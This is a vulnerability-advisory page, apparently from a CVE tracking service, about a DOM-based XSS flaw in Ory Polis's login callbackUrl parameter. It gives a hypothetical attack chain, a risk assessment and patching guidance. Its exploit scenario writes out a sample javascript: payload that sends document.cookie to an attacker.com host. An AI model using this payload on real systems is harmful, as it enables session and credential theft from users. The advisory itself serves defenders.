Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessCraft malicious link with XSS payload in callbackUrl
-
DeliverySend link to authenticated user
-
ExploitUser clicks link in Ory Polis login
-
Executionrouter.push executes unsanitized parameter
-
PersistArbitrary JavaScript executes in browser context
-
ImpactSteal session credentials or tokens
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A06:2021 - Vulnerable and Outdated Components
ASVS 5.0
V14 - Configuration Dependency management, component inventory
|
| Exploitation Conditions | Ory Polis versions prior to 26.2.0. Attacker crafts malicious link containing malicious |
| Impact | The CVSS vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:L indicates network-based attacks with low complexity, no privileges required, but user interaction necessary, plus scope change enabling cross-domain impact. Despite the 8.8 severity score, real-world risk is moderated by several factors: SSVC framework classifies exploitation as none with non-automatable attacks and partial technical impact, no public exploit code exists, and no CISA KEV listing confirms active exploitation. The UI:R requirement means victims must click malicious links, limiting opportunistic mass exploitation. The primary risk lies in targeted phishing campaigns against organizations using Polis for SAML authentication, where credential theft could enable lateral movement. Overall assessment: elevated risk for targeted environments but not an imminent widespread threat given current exploitation landscape. |
| Exploit ScenarioDerived | An attacker crafts a phishing email containing a legitimate-looking Ory Polis login URL with a malicious callbackUrl parameter embedding JavaScript payload (e.g., javascript:document.location='https://attacker.com/steal?cookie='+document.cookie). When the victim clicks the link and completes authentication, the unvalidated parameter is passed to router.push, executing the attacker's script in the authenticated session context. This enables credential exfiltration, session token theft, or redirection to attacker-controlled infrastructure for further social engineering. The low attack complexity and network-based vector make this exploitable via email, messaging platforms, or compromised websites linking to vulnerable Polis instances. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 26, 2026
DOM-based Cross-Site Scripting in Ory Polis (formerly BoxyHQ Jackson) SAML-to-OAuth bridge allows unauthenticated remote attackers to execute arbitrary JavaScript in victim browsers via crafted callbackUrl parameters. Versions prior to 26.2.0 are affected, with vendor-released patch available in version 26.2.0. No public exploit identified at time of analysis. CVSS score of 8.8 reflects network-based attack vector with low complexity requiring only user interaction, though SSVC framework rates technical impact as partial with no observed exploitation and non-automatable attack pattern.
RemediationAI
Upgrade Ory Polis to version 26.2.0 or later, which contains the vendor-released patch addressing this DOM-based XSS vulnerability (release details at https://github.com/ory/polis/releases/tag/v26.2.0). Until patching is completed, implement defense-in-depth measures including Content Security Policy headers that restrict script-src to 'self' and disable unsafe-inline, configure URL validation middleware to whitelist permitted callback domains, and educate users to verify login URLs match expected organizational domains before entering credentials. Review authentication logs for anomalous callbackUrl patterns that may indicate exploitation attempts. Consult the GitHub security advisory at https://github.com/ory/polis/security/advisories/GHSA-3wjr-6gw8-9j22 for complete remediation guidance.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Ory Polis is a SAML login flow bridge that proxies authentication to OAuth 2.0 or OpenID Connect protocols. The vulnerability stems from CWE-87 (Improper Neutralization of Alternate XSS Syntax), where the application fails to validate or sanitize the callbackUrl parameter before passing it to router.push for client-side navigation. This DOM-based XSS occurs entirely in the browser context without server-side validation, allowing injection of javascript: URIs or other malicious payloads. The affected product per CPE is cpe:2.3:a:ory:polis:*:*:*:*:*:*:*:*, encompassing all versions prior to the patched release.
Know when Polis gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:L
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
Lifecycle Timeline
3DescriptionGitHub Advisory
Ory Polis, formerly known as BoxyHQ Jackson, bridges or proxies a SAML login flow to OAuth 2.0 or OpenID Connect. Versions prior to 26.2.0 contain a DOM-based Cross-Site Scripting (XSS) vulnerability in Ory Polis's login functionality. The application improperly trusts a URL parameter (callbackUrl), which is passed to router.push. An attacker can craft a malicious link that, when opened by an authenticated user (or an unauthenticated user that later logs in), performs a client-side redirect and executes arbitrary JavaScript in the context of their browser. This could lead to credential theft, internal network pivoting, and unauthorized actions performed on behalf of the victim. Version 26.2.0 contains a patch for the issue.
Executive ViewAI
Ory Polis versions before 26.2.0 contain a DOM-based XSS vulnerability in the SAML-to-OAuth bridge that allows unauthenticated attackers to execute malicious JavaScript in user browsers through crafted callback URLs. This affects any organization using Ory Polis for identity federation and could enable credential theft, session hijacking, or malware distribution to end users during the authentication process.
Apply vendor patch. If immediate patching is not possible: implement strict input validation and sanitization for all callbackUrl parameters; deploy Web Application Firewall rules to block malformed callback URLs; restrict SAML assertion consumers to whitelisted domains only; educate users to verify URLs before completing authentication flows.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
EUVD-2026-16320
NVD
CVE.org
EPSS
Vulnrichment
GitHub
Exploit-DB